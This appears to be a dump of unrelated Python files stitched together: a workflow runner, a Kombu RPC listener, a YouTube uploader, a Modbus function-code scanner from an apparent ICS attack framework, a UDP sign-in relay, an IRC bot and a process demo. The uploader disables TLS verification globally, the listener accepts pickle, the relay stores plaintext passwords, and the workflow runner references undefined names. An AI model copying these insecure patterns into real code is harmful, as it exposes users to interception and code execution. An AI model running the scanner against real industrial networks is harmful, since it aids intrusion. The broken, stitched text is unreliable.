import os import csv import time import logging import threading from waiting import wait import pandas as pd from parser import YamlParser logging.basicConfig(filename='./logs/2B_final.log', format="%(asctime)s.%(msecs)06d;%(message)s", datefmt='%Y-%m-%d %H:%M:%S', filemode='w') log = logging.getLogger("my-logger") log.setLevel(logging.DEBUG) FILE_NAME = './Milestone2B.yaml' global_execution_time = 0 op_tasks = {} def load_data(filename): DataTable = csv_loader('./Milestone2', '/' + filename) return DataTable def validate_data(cond): if(cond[0] not in op_tasks): return False return True def csv_loader(path, name): DataTable = [] filepath = os.path.join(os.getcwd(), path) with open(filepath + name,'r') as data: for line in csv.DictReader(data): DataTable.append(line) return DataTable # def load_data(filepath): # print(filepath) # # filepath = "./Examples/Milestone2/" # file = open(filepath) # csvreader = csv.reader(file) # header = [] # header = next(csvreader) # rows = [] # for row in csvreader: # rows.append(row) # print(len(rows)) # return len(rows) def func_time(curr_execution_time): global global_execution_time global_execution_time += curr_execution_time time.sleep(curr_execution_time) def tasks_exec(idx, events, exec_type): log.info(idx + " Entry") ip = events['Inputs'] func_name = events['Function'] check = 0 if("Condition" in events): cond = events["Condition"] cond = cond.split() if(cond[0] not in op_tasks): validate = wait(lambda: validate_data(cond), timeout_seconds=60, waiting_for="Task Output") if(validate == False): check = 1 else: if(cond[1] == '>'): if(op_tasks[cond[0]] < int(cond[2])): log.info(idx + " Skipped") check = 1 elif(cond[1] == '<'): if(op_tasks[cond[0]] > int(cond[2])): log.info(idx + " Skipped") check = 1 if(check == 0): if(func_name == "TimeFunction"): ex_time = ip['ExecutionTime'] f_ip = ip['FunctionInput'] if(f_ip in op_tasks): log.info(idx + " Executing " + func_name + " ("+str(op_tasks[str(f_ip)])+", "+ex_time+")") else: log.info(idx + " Executing " + func_name + " ( " + f_ip + ", " + ex_time+")") func_time(int(ex_time)) elif(func_name == "DataLoad"): f_name = ip["Filename"] log.info(idx + " Executing " + func_name + " (" + f_name+")") DataTable = load_data(f_name) op_tasks[idx + ".DataTable"] = DataTable op_tasks["$("+idx+".NoOfDefects"+")"] = len(DataTable) elif(func_name == "Binning"): rule_f_name = ip["RuleFilename"] data_set = ip["DataSet"] log.info(idx + " Executing " + f_name + " (" + rule_f_name + ", " + data_set + ")") data_set = binning(rule_f_name, data_set) op_tasks["$(" + idx + ".BinningResultsTable" + ")"] = data_set log.info(idx + " Exit") def exec_seq(prev_idx, map): log.info(prev_idx + " Entry") for idx, values in map.items(): new_idx = prev_idx + "." + idx if(values['Type'] == 'Flow'): if(values['Execution'] == 'Sequential'): exec_seq(new_idx, values['Activities']) else: exec_par(new_idx, values['Activities']) else: tasks_exec(new_idx,values,"Serial") log.info(prev_idx + " Exit") def exec_par(prev_idx, map): iterables = [] log.info(prev_idx + " Entry") for idx, values in map.items(): new_idx = prev_idx + "." + idx if(values['Type'] == 'Flow'): if(values['Execution'] == 'Sequential'): threads = threading.Thread(target=exec_seq, args=(new_idx,values['Activities'],)) else: threads = threading.Thread(target=exec_par, args=(new_idx,values['Activities'],)) iterables.append(threads) else: threads = threading.Thread(target=tasks_exec, args=(new_idx,values,"Parallel",)) iterables.append(threads) for item in iterables: item.start() for item in iterables: item.join() log.info(prev_idx + " Exit") if __name__ == '__main__': parser = YamlParser('./Examples/Milestone3/Milestone3A.yaml') data = parser.open() curr_items = [] curr_items.append(data) for map in curr_items: for idx, values in map.items(): if(values['Type'] == 'Flow'): if(values['Execution'] == 'Sequential'): exec_seq(idx, values['Activities']) else: exec_par(idx, values['Activities']) # df0 = pd.read_csv('./Examples/Milestone3/Milestone3A_BinningRule_500.csv') # df1 = pd.read_csv('./Examples/Milestone3/Milestone3A_BinningRule_501.csv') # dict = {} # stx = str(df0['RULE']) # res1 = [int(i) for i in stx.split() if i.isdigit()] # mn = mx = -1 # if(len(res1) > 2): # mn = res1[1] # mx = res1[2] # else: # if(stx.find('<') != -1): # mx = res1[1] # if(mn == -1): mn = 0 # elif(mx == -1): mx = 1e9 # dict[500] = (mn, mx) # stx = str(df1['RULE']) # res1 = [int(i) for i in stx.split() if i.isdigit()] # mn = mx = -1 # if(len(res1) > 2): # mn = res1[1] # mx = res1[2] # else: # if(stx.find('<') != -1): # mx = res1[1] # elif(stx.find('>') != -1): # mn = res1[1] # if(mn == -1): mn = 0 # elif(mx == -1): mx = 1e9 # dict[501] = (mn, mx) # print(dict)
kombu_listener.py
# Copyright (c) 2016 Intel Corporation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import itertools from kombu.mixins import ConsumerMixin import six import threading from oslo_log import log as logging from mistral.rpc.kombu import base as kombu_base LOG = logging.getLogger(__name__) class KombuRPCListener(ConsumerMixin): def __init__(self, connections, callback_queue): self._results = {} self._connections = itertools.cycle(connections) self._callback_queue = callback_queue self._thread = None self.connection = six.next(self._connections) self.ready = threading.Event() def add_listener(self, correlation_id): self._results[correlation_id] = six.moves.queue.Queue() def remove_listener(self, correlation_id): if correlation_id in self._results: del self._results[correlation_id] def get_consumers(self, Consumer, channel): consumers = [Consumer( self._callback_queue, callbacks=[self.on_message], accept=['pickle', 'json'] )] self.ready.set() return consumers def start(self): if self._thread is None: self._thread = threading.Thread(target=self.run) self._thread.daemon = True self._thread.start() def on_message(self, response, message): """Callback on response. This method is automatically called when a response is incoming and decides if it is the message we are waiting for - the message with the result. :param response: the body of the amqp message already deserialized by kombu :param message: the plain amqp kombu.message with additional information """ LOG.debug("Got response: {0}".format(response)) try: message.ack() except Exception as e: LOG.exception("Failed to acknowledge AMQP message: %s", e) else: LOG.debug("AMQP message acknowledged.") correlation_id = message.properties['correlation_id'] queue = self._results.get(correlation_id) if queue: result = { kombu_base.TYPE: 'error' if message.properties.get('type') == 'error' else None, kombu_base.RESULT: response } queue.put(result) else: LOG.debug( "Got a response, but seems like no process is waiting for " "it [correlation_id={0}]".format(correlation_id) ) def get_result(self, correlation_id, timeout): return self._results[correlation_id].get(block=True, timeout=timeout) def on_connection_error(self, exc, interval): self.ready.clear() self.connection = six.next(self._connections) LOG.debug("Broker connection failed: %s", exc) LOG.debug( "Sleeping for %s seconds, then retrying connection", interval ) def wait_ready(self, timeout=10.0): """Waits for the listener to successfully declare the consumer :param timeout: timeout for waiting in seconds :return: same as :func:`~threading.Event.wait` :rtype: bool """ if self.ready.wait(timeout=timeout): return self.connection else: return False
yt_api.py
#!/usr/bin/python # vim: set fileencoding=utf-8 : # Copyright 2014 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import codecs import csv import datetime import glob import glob import http.client import json import os import re import ssl import subprocess import sys import traceback import tracemalloc import threading import vogon from oauth2client.service_account import ServiceAccountCredentials from third_party.retry import retry HTTPS_PORT_NUMBER = 443 ssl._create_default_https_context = ssl._create_unverified_context def get_latest_uploaded_videos(project_dir): # gets latest video upload file yt_logs_dir = os.path.join("projects", project_dir, "youtube", "*.txt") list_of_files = glob.glob(yt_logs_dir) if not list_of_files: return [] latest_file = max(list_of_files, key=os.path.getctime) # extracts videos from file content = "" with open(latest_file,'r') as f: content = f.readlines() f.close() videos = {} for row in content: if len(row.split(",")) != 2: continue row_number = row.split(",")[0] row_number = row_number.replace("output_video_row_","").replace(".mp4","") yt_id = row.split(",")[1] videos[row_number] = yt_id.replace("\n","") # returns videos dict return videos def read_credentials(): f = open('credentials/webserver_client_secret.json', 'r') credentials = json.loads(f.read()) f.close() return credentials def get_device_code(): credentials = read_credentials() data = { 'client_id': credentials['installed']['client_id'], 'scope': 'https://www.googleapis.com/auth/youtube' } http_client = http.client.HTTPSConnection('accounts.google.com', HTTPS_PORT_NUMBER) http_client.request('POST', '/o/oauth2/device/code', body=json.dumps(data)) response = http_client.getresponse() response_status = response.status response_content = response.read() http_client.close() return response_status, response_content def check_device_authorization(device_code): credentials = read_credentials() data = { 'client_id': credentials['installed']['client_id'], 'client_secret': credentials['installed']['client_secret'], 'code': device_code, 'grant_type': 'http://oauth.net/grant_type/device/1.0' } http_client = http.client.HTTPSConnection('www.googleapis.com', HTTPS_PORT_NUMBER) http_client.request('POST', '/oauth2/v4/token', body=json.dumps(data)) response = http_client.getresponse() response_status = response.status response_content = response.read() http_client.close() return response_status, response_content def refresh_access_token(refresh_token): credentials = read_credentials() data = { 'client_id': credentials['installed']['client_id'], 'client_secret': credentials['installed']['client_secret'], 'refresh_token': refresh_token, 'grant_type': 'refresh_token' } http_client = http.client.HTTPSConnection('www.googleapis.com', HTTPS_PORT_NUMBER) http_client.request('POST', '/oauth2/v4/token', body=json.dumps(data)) response = http_client.getresponse() response_status = response.status response_content = response.read() http_client.close() return response_status, response_content def list_channels(access_token): headers = { 'Authorization': ('Bearer %s' % access_token) } http_client = http.client.HTTPSConnection('www.googleapis.com', HTTPS_PORT_NUMBER) http_client.request('GET', '/youtube/v3/channels?mine=true&part=snippet', headers=headers) response = http_client.getresponse() response_status = response.status response_content = response.read() http_client.close() return response_status, response_content def start_video_upload(request_json): thread_args = ( request_json['refresh_token'], request_json['project_id'], request_json['title'], request_json['description'], request_json['channel_id'],) thread = threading.Thread(target=upload_videos, args=thread_args) thread.start() def upload_videos(refresh_token, project_id, title_template, description_template, channel_id): gen_id = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S") try: config = vogon.load_config('projects/{}/config.json'.format(project_id)) with codecs.open('projects/{}/feed.csv'.format(project_id), 'r', errors='backslashreplace') as feed: reader = csv.DictReader((l.replace('\0', '') for l in feed)) for row_number, row in enumerate(reader, start=1): video_path = 'projects/{}/output/output_video_row_{}.mp4'.format( project_id, row_number) title = vogon.replace_vars(config['video_title'], row) description = vogon.replace_vars(config['video_description'], row) write_log('[RUNNING]', 'Refreshing token', project_id, gen_id) _,refresh_token_response = refresh_access_token(refresh_token) new_access_token = json.loads(refresh_token_response)['access_token'] write_log('[RUNNING]', 'Token refreshed', project_id, gen_id) write_log('[RUNNING]', 'Uploading video %s' % video_path, project_id, gen_id) video_resource = upload_video(new_access_token, gen_id, video_path, project_id, channel_id) write_log('[RUNNING]', ('Video %s uploaded. YT video ID is ' '%s' % (video_path, video_resource['id'])), project_id, gen_id) write_log('[RUNNING]', 'Writing metadata for video %s' % video_path, project_id, gen_id) write_video_metadata(new_access_token, video_resource, title, description) write_log('[RUNNING]', 'Metadata written', project_id, gen_id) feed.close() write_log('[DONE]', 'All videos uploaded!', project_id, gen_id) except Exception as e: write_log('[ERROR]', 'An error occurred - %s' % e, project_id, gen_id) def upload_video(access_token, gen_id, filepath, project_id, channel_id): headers = { 'Authorization': ('Bearer %s' % access_token), 'Content-Type': 'application/octet-stream' } video_file = open(filepath, 'rb') http_client = http.client.HTTPSConnection('www.googleapis.com', HTTPS_PORT_NUMBER) http_client.request('POST', '/upload/youtube/v3/videos?part=snippet', headers=headers, body=video_file) yt_response = http_client.getresponse() video_resource = json.loads(yt_response.read()) http_client.close() video_file.close() if yt_response.status == 200: persist_uploaded_video_resource(os.path.basename(filepath), gen_id, video_resource, project_id, channel_id) return video_resource @retry(Exception, retries=10) def write_video_metadata(access_token, video_resource, title, description): headers = { 'Authorization': ('Bearer %s' % access_token), 'Content-Type': 'application/json' } body = json.dumps({ 'id': video_resource['id'], 'status': { 'privacyStatus': 'unlisted' }, 'snippet': { 'title': title, 'categoryId': '22', 'description': description } }) http_client = http.client.HTTPSConnection('www.googleapis.com', HTTPS_PORT_NUMBER) http_client.request('PUT', '/youtube/v3/videos?part=snippet,status', headers=headers, body=body) yt_response = http_client.getresponse() rs = json.loads(yt_response.read()) if 'error' in rs and "errors" in rs['error'] and len(rs['error']['errors']): error = rs['error']['errors'][0] msg = "%s - %s"%(error["reason"], error["message"]) http_client.close() raise Exception("Error uploading video: %s" % msg) print(rs) http_client.close() def persist_uploaded_video_resource(filename, gen_id, video_resource, project_id, channel_id): dir_path = 'projects/{project_id}/youtube/'.format(project_id=project_id) if not os.path.exists(dir_path): os.makedirs(dir_path) break_line = "" else: break_line = "\n" file_path = '{dir_path}/{channel_id}_{gen_id}.txt'.format( dir_path=dir_path, channel_id=channel_id, gen_id=gen_id) uploaded_videos_file = open(file_path, 'a') uploaded_videos_file.write('{}{},{}'.format(break_line, filename, video_resource['id'])) uploaded_videos_file.close() def remove_uploaded_videos(request_json): gen_id = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S") refresh_token = request_json['refresh_token'] project_id = request_json['project_id'] channel_id = request_json['channel_id'] write_log('[STARTED]', 'Removing videos', project_id, gen_id) pathname = 'projects/{project_id}/youtube/{channel_id}_*.txt'.format( project_id=project_id, channel_id=channel_id ) uploaded_videos_file_paths = glob.glob(pathname) error_occurred = False for uploaded_video_file_path in uploaded_videos_file_paths: reader = open(uploaded_video_file_path, 'r') lines = reader.readlines() reader.close() for line in lines: if len(line.split(',')) > 1: yt_video_id = line.split(',')[1] write_log('[RUNNING]', 'Removing video {}'.format(yt_video_id), project_id, gen_id) _,refresh_token_response = refresh_access_token(refresh_token) new_access_token = json.loads(refresh_token_response)['access_token'] yt_status, yt_response = remove_video(new_access_token, yt_video_id) # checks is video was available video_found = True rs = '' if yt_response and yt_response != 'None': rs = json.loads(yt_response) if 'error' in rs and 'errors' in rs['error']: reasons = [r['reason'] for r in rs['error']['errors']] print("REASONS: %s"%reasons) if 'videoNotFound' in reasons: video_found = False if yt_status != 204 and video_found: log_message = 'Error when removing video {} - {}'.format( yt_video_id, rs) write_log('[ERROR]', log_message, project_id, gen_id) error_occurred = True break if not error_occurred: os.remove(uploaded_video_file_path) if not error_occurred: write_log('[Done]', 'All videos removed!', project_id, gen_id) def remove_video(access_token, video_id): headers = { 'Authorization': ('Bearer %s' % access_token) } video_id = video_id.replace("\n","") video_uri = '/youtube/v3/videos?id={}'.format(video_id) print(video_uri) http_client = http.client.HTTPSConnection('www.googleapis.com', HTTPS_PORT_NUMBER) http_client.request('DELETE', video_uri, headers=headers) response = http_client.getresponse() response_status = response.status response_content = response.read() http_client.close() return response_status, response_content def write_log(status, message, project_id, gen_id): log_filepath = 'projects/{project_id}/youtube/{gen_id}.log'.format( project_id=project_id, gen_id=gen_id ) dir_path = os.path.dirname(log_filepath) if not os.path.exists(dir_path): os.makedirs(dir_path) log_file = open(log_filepath, 'a+') msg = '{status} - [{datetime}]: {message}\n'.format( status=status, datetime=datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'), message=message.replace('\n', '')) log_file.write(msg) log_file.close() if msg[:4] == "[ERR": print(msg) print(sys.exc_info()) traceback.print_exc(limit=10, file=sys.stdout) def read_log(project_id, lines): log_files = glob.glob('projects/{}/youtube/*.log'.format(project_id)) log_files.sort(reverse=True) if log_files: return subprocess.check_output(['tail', '-%s' % lines, log_files[0]]) return 'No log files found'
getfunc.py
import os import threading from System.Core.Global import * from System.Core.Colors import * from System.Core.Modbus import * from System.Lib import ipcalc class Module: info = { 'Name': 'Get Function', 'Author': ['@enddo'], 'Description': ("Enumeration Function on Modbus"), } options = { 'RHOSTS' :['' ,True ,'The target address range or CIDR identifier'], 'RPORT' :[502 ,False ,'The port number for modbus protocol'], 'UID' :[None ,True ,'Modbus Slave UID.'], 'Threads' :[1 ,False ,'The number of concurrent threads'], 'Output' :[True ,False ,'The stdout save in output directory'] } output = '' def exploit(self): moduleName = self.info['Name'] print bcolors.OKBLUE + '[+]' + bcolors.ENDC + ' Module ' + moduleName + ' Start' ips = list() for ip in ipcalc.Network(self.options['RHOSTS'][0]): ips.append(str(ip)) while ips: for i in range(int(self.options['Threads'][0])): if(len(ips) > 0): thread = threading.Thread(target=self.do,args=(ips.pop(0),)) thread.start() THREADS.append(thread) else: break for thread in THREADS: thread.join() if(self.options['Output'][0]): open(mainPath + '/Output/' + moduleName + '_' + self.options['RHOSTS'][0].replace('/','_') + '.txt','a').write('='*30 + '\n' + self.output + '\n\n') self.output = '' def printLine(self,str,color): self.output += str + '\n' if(str.find('[+]') != -1): print str.replace('[+]',color + '[+]' + bcolors.ENDC) elif(str.find('[-]') != -1): print str.replace('[-]',color + '[+]' + bcolors.ENDC) else: print str def do(self,ip): c = connectToTarget(ip,self.options['RPORT'][0]) if(c == None): self.printLine('[-] Modbus is not running on : ' + ip,bcolors.WARNING) return None self.printLine('[+] Looking for supported function codes on ' + ip,bcolors.OKGREEN) for i in range(0,256): # Total of 127 (legal) function codes ans = c.sr1(ModbusADU(transId=getTransId(),unitId=int(self.options['UID'][0]))/ModbusPDU_Read_Generic(funcCode=i),timeout=timeout, verbose=0) # We are using the raw data format, because not all function # codes are supported out by this library. if ans: data = str(ans) data2 = data.encode('hex') returnCode = int(data2[14:16],16) exceptionCode = int(data2[17:18],16) if returnCode > 127 and exceptionCode == 0x01: # If return function code is > 128 --> error code #print "Function Code "+str(i)+" not supported." a=1 else: if(function_code_name.get(i) != None): self.printLine("[+] Function Code "+str(i)+"("+function_code_name.get(i)+") is supported.",bcolors.OKGREEN) else: self.printLine("[+] Function Code "+str(i)+" is supported.",bcolors.OKGREEN) else: self.printLine("[+] Function Code "+str(i)+" probably supported.",bcolors.OKGREEN)
transfer.py
from Ipv4_turn.server import Service import socket from threading import Thread import json import time from datetime import datetime from Ipv4_turn.addr import Address class Transfer: def __init__(self, address=('127.0.0.1', 9080)): self.user_info = {} #self.user_info={'000000':{'passward':'sdlab123','service':None,'heart_addr':None}} self.serve = True self.address = address self.sock_addr = (address[0], 102) pass ### ็ปดๆŠค็”จๆˆท็™ปๅฝ•ไฟกๆฏ๏ผŒๅฐ†็ฆป็บฟ็š„็”จๆˆทidๅˆ ้™ค ### def maintain(self): while self.serve: time.sleep(5) for id in list(self.user_info.keys()): try: if self.user_info[id]['service'].serve == False: del self.user_info[id] print('id: '+str(id)+' close success...') pass except Exception as e: #print(t) pass pass pass def print_info(self): while self.serve: now_time = datetime.now() str_time = now_time.strftime("%Y-%m-%d %X") print(' ') print('time: '+str_time) print('user info: ' + str(self.user_info)) time.sleep(20) pass pass def sign_service(self): get_addr = Address((self.address[0], 104)) sign_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sign_sock.bind(self.address) while self.serve: try: data, address = sign_sock.recvfrom(1024) except Exception as e: continue info = json.loads(data.decode('utf-8')) ################### if type(info) != dict: continue id = info['id'] passward = info['passward'] if id not in self.user_info: self.user_info[id] = {} self.user_info[id]['passward'] = passward addr = get_addr.get_addr(2) self.user_info[id]['port'] = {'A-00': addr[0], 'B-00': addr[1]} self.user_info[id]['service'] = Service(self.user_info[id]['port'],get_addr=get_addr) print('id: '+str(id)+' service start success...') self.user_info[id]['service'].run() continue ### ๅฆ‚ๆžœๅฏ†็ ๅฏนไธไธŠ ### if passward != self.user_info[id]['passward']: data = 'passward error,change id or input the correct passward....' data = json.dumps(data).encode('utf-8') sign_sock.sendto(data, address) continue result = self.user_info[id]['port'] result = json.dumps(result).encode('utf-8') sign_sock.sendto(result, address) pass def run(self): time.sleep(0.2) t1 = Thread(target=self.sign_service) t2 = Thread(target=self.maintain) print('sign_service start success .....') print('maintain node start success .....') t3 = Thread(target=self.print_info) t1.start() t2.start() t3.start() pass def __del__(self): pass pass
bot.py
import logging log = logging.getLogger(__name__) import datetime import threading import importlib import botologist.error import botologist.http import botologist.protocol import botologist.plugin import botologist.util class CommandMessage: """Representation of an IRC message that is a command. When a user sends a message to the bot that is a bot command, an instance of this class should be constructed and will be passed to the command handler to figure out a response. """ def __init__(self, message): assert isinstance(message, botologist.protocol.Message) self.message = message self.command = message.words[0] self.args = message.words[1:] @property def user(self): return self.message.user @property def target(self): return self.message.target class Bot: """IRC bot.""" version = None # the character commands start with CMD_PREFIX = '!' # ticker interval in seconds TICK_INTERVAL = 120 # spam throttling in seconds SPAM_THROTTLE = 2 def __init__(self, config): protocol_module = 'botologist.protocol.{}'.format(config.get('protocol', 'local')) self.protocol = importlib.import_module(protocol_module) self.client = self.protocol.get_client(config) self.config = config self.storage_dir = config['storage_dir'] self.admins = config.get('admins', []) self.bans = config.get('bans', []) self.global_plugins = config.get('global_plugins', []) self.started = None self.plugins = {} self._command_log = {} self._last_command = None self._reply_log = {} self.timer = None self.http_port = config.get('http_port') self.http_host = config.get('http_host') self.http_server = None self.http_thread = None self.error_handler = botologist.error.ErrorHandler(self) self.client.error_handler = self.error_handler self.client.on_connect.append(self._start) self.client.on_disconnect.append(self._stop) self.client.on_join.append(self._handle_join) self.client.on_privmsg.append(self._handle_privmsg) self.client.on_kick.append(self._handle_kick) # configure plugins for name, plugin_class in config.get('plugins', {}).items(): # convenience compatibility layer for when plugins module was moved plugin_class = plugin_class.replace('botologist.plugin.', 'plugins.') # dynamically import the plugin module and pass the class parts = plugin_class.split('.') module = importlib.import_module('.'.join(parts[:-1])) plugin_class = getattr(module, parts[-1]) self.register_plugin(name, plugin_class) # configure channels channels = config.get('channels') if isinstance(channels, dict): for name, channel in channels.items(): if channel is None: channel = {} self.add_channel(name, **channel) elif isinstance(channels, list): for channel in channels: if isinstance(channel, dict): name = channel.pop('channel') else: name = channel channel = {} self.add_channel(name, **channel) @property def nick(self): return self.client.nick @property def channels(self): return self.client.channels def get_admin_nicks(self): admin_nicks = set() for channel in self.client.channels.values(): for admin_id in self.admins: users = channel.find_users(identifier=admin_id) for user in users: if user.nick != self.nick: admin_nicks.add(user.name) return admin_nicks def run_forever(self): self.started = datetime.datetime.now() self.client.run_forever() def register_plugin(self, name, plugin): if isinstance(plugin, str): parts = plugin.split('.') try: module = importlib.import_module('.'.join(parts[:-1])) plugin = getattr(module, parts[-1]) except (AttributeError, ImportError) as exception: msg = 'Could not find plugin class: {}'.format(plugin) raise Exception(msg) from exception assert issubclass(plugin, botologist.plugin.Plugin) self.plugins[name] = plugin log.debug('plugin %r registered', name) def add_channel(self, channel, plugins=None, admins=None, allow_colors=True): def guess_plugin_class(plugin): plugin_class = ''.join(part.title() for part in plugin.split('_')) if '.' not in plugin: plugin = 'plugins.' + plugin return '{}.{}Plugin'.format(plugin, plugin_class) if not isinstance(channel, botologist.protocol.Channel): channel = self.protocol.Channel(channel) # create a combined list of plugins to reduce code duplication and help # prevent duplicate plugins. could be a set, but that would randomize # the order of plugins all_plugins = [] # global plugins for plugin in self.global_plugins: if plugin not in all_plugins: all_plugins.append(plugin) # channel-specific plugins if plugins: assert isinstance(plugins, list) for plugin in plugins: if plugin not in all_plugins: all_plugins.append(plugin) for plugin in all_plugins: assert isinstance(plugin, str) if plugin not in self.plugins: plugin_class = guess_plugin_class(plugin) self.register_plugin(plugin, plugin_class) log.debug('adding plugin %s to channel %s', plugin, channel.name) channel.register_plugin(self.plugins[plugin](self, channel)) if admins: assert isinstance(admins, list) channel.admins = admins channel.allow_colors = allow_colors self.client.add_channel(channel) def send_msg(self, targets, messages): """ Send one or more message to one or more targets (users or channels). Args: targets (str|list): The user(s)/channel(s) to send to. messages (str|list): The message(s) to send. """ if targets == '*': targets = (channel for channel in self.client.channels) elif not isinstance(targets, (list, set, tuple)): targets = set([targets]) if not isinstance(messages, (list, set, tuple)): messages = set([messages]) for target in targets: self.client.send_msg(target, messages) def _send_msg(self, msgs, targets): log.warning('Bot._send_msg is deprecated! Use send_msg instead!') self.send_msg(targets, msgs) def _handle_join(self, channel, user): assert isinstance(channel, botologist.protocol.Channel) assert isinstance(user, botologist.protocol.User) # iterate through join callbacks. the first, if any, to return a # non-empty value, will be sent back to the channel as a response. response = None for join_func in channel.joins: response = join_func(user, channel) if response: self.send_msg(channel.name, response) return def _handle_kick(self, channel, kicked_user, user): assert isinstance(channel, botologist.protocol.Channel) assert isinstance(kicked_user, botologist.protocol.User) assert isinstance(user, botologist.protocol.User) # iterate through join callbacks. the first, if any, to return a # non-empty value, will be sent back to the channel as a response. response = None for kick_func in channel.kicks: response = kick_func(kicked_user, channel, user) if response: self.send_msg(channel.name, response) return def _handle_privmsg(self, message): assert isinstance(message, botologist.protocol.Message) if message.user.identifier in self.bans: return # self-explanatory... if message.is_private: log.debug('Message is private, not replying') return None # check if the user is an admin - add it to the message.user object for # later re-use message.user.is_admin = ( message.user.identifier in self.admins or ( message.channel and message.user.identifier in message.channel.admins )) channel = self.client.channels[message.target] assert isinstance(channel, botologist.protocol.Channel) if message.message.startswith(self.CMD_PREFIX): return self._handle_command(message, channel) # otherwise, call the channel's repliers response = self._call_repliers(channel, message) if response: self.send_msg(message.target, response) def _handle_command(self, message, channel): # if the message starts with the command prefix, check for mathing # command and fire its callback cmd_string = message.words[0][1:].lower() if cmd_string in channel.commands: command = CommandMessage(message) command_func = channel.commands[cmd_string] else: matching_commands = [cmd for cmd in channel.commands if cmd.startswith(cmd_string)] if not matching_commands: log.debug('"%s" did not match any commands in channel %s', cmd_string, channel.name) return elif len(matching_commands) != 1: log.debug('"%s" matched more than 1 command in channel %s', cmd_string, channel.name) return command = CommandMessage(message) command.command = self.CMD_PREFIX + matching_commands[0] command_func = channel.commands[matching_commands[0]] if command_func._is_threaded: log.debug('Starting thread for command %s', cmd_string) cmd_thread = threading.Thread( target=self._wrap_error_handler(self._maybe_send_cmd_reply), args=(command_func, command), ) cmd_thread.start() else: self._maybe_send_cmd_reply(command_func, command) def _maybe_send_cmd_reply(self, command_func, message): # check for spam now = datetime.datetime.now() if message.command in self._command_log and not message.user.is_admin: diff = now - self._command_log[message.command] if self._last_command == (message.user.identifier, message.command, message.args): threshold = self.SPAM_THROTTLE * 3 else: threshold = self.SPAM_THROTTLE if diff.seconds < threshold: log.info('Command throttled: %s', message.command) return # log the command call for spam throttling self._last_command = (message.user.identifier, message.command, message.args) self._command_log[message.command] = now response = command_func(message) if response: self.send_msg(message.target, response) def _call_repliers(self, channel, message): now = datetime.datetime.now() final_replies = [] # iterate through reply callbacks for reply_func in channel.replies: replies = reply_func(message) if not replies: continue if isinstance(replies, list): final_replies = final_replies + replies else: final_replies.append(replies) if not message.user.is_admin: for reply in final_replies: # throttle spam - prevents the same reply from being sent # more than once in a row within the throttle threshold if channel.name not in self._reply_log: self._reply_log[channel.name] = {} if reply in self._reply_log[channel.name]: diff = now - self._reply_log[channel.name][reply] if diff.seconds < self.SPAM_THROTTLE: log.info('Reply throttled: "%s"', reply) final_replies.remove(reply) # log the reply for spam throttling self._reply_log[channel.name][reply] = now return final_replies def _start(self): if self.http_port and not self.http_server: log.info('Running HTTP server on %s:%s', self.http_host, self.http_port) self.http_thread = threading.Thread( target=self._wrap_error_handler(botologist.http.run_http_server), args=(self, self.http_host, self.http_port), ) self.http_thread.start() self._start_tick_timer() def _start_tick_timer(self): self.timer = threading.Timer( function=self._wrap_error_handler(self._tick), interval=self.TICK_INTERVAL, ) self.timer.start() log.debug('started ticker with interval %d seconds', self.TICK_INTERVAL) def stop(self): self.client.stop() def _stop(self): if self.http_server: log.info('shutting down HTTP server') self.http_server.shutdown() self.http_server = None if self.http_thread: self.http_thread.join() self.http_thread = None if self.timer: log.info('ticker stopped') self.timer.cancel() self.timer = None def _tick(self): log.debug('ticker running') # reset the spam throttle to prevent the log dictionaries from becoming # too large. TODO: replace with a queue self._command_log = {} for channel in self._reply_log: self._reply_log[channel] = {} try: for channel in self.client.channels.values(): for ticker in channel.tickers: result = ticker() if result: self.send_msg(channel.name, result) finally: self._start_tick_timer() def _wrap_error_handler(self, func): if self.error_handler: return self.error_handler.wrap(func) return func
spawn_a_process.py
''' Date: 2021.06.01 14:25 Description : Omit LastEditors: Rustle Karl LastEditTime: 2021.06.01 14:25 ''' import multiprocessing def foo(i): print('called function in process: %s' % i) if __name__ == '__main__': process_jobs = [] for i in range(5): p = multiprocessing.Process(target=foo, args=(i,)) process_jobs.append(p) p.start() p.join()
alin1bot.py
